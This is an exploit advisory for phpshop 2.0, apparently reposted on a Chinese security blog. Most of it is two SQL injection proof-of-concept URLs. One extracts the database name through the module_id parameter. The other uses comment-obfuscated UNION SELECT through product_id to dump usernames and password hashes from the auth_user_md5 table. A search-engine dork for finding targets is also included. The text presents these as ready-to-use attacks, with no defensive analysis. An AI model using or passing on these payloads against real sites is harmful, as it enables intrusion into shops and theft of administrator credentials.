phpshop 2.0 SQL注入

# Exploit Title : phpshop 2.0 SQL Injection Vulnerability
# Author : By onestree
# Software Link : http://code.google.com/p/phpshop/downloads/list
# tested : windows 7 / ubuntu
# Dork : inurl:”tanyakan pada rumput yang bergoyang”

SQLi p0c:

==================

http://localhost/phpshop 2.0/?page=admin/function_list&module_id=11′
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 —

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087’/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5–

原文链接:,转发请注明来源!

发表评论

要发表评论,您必须先登录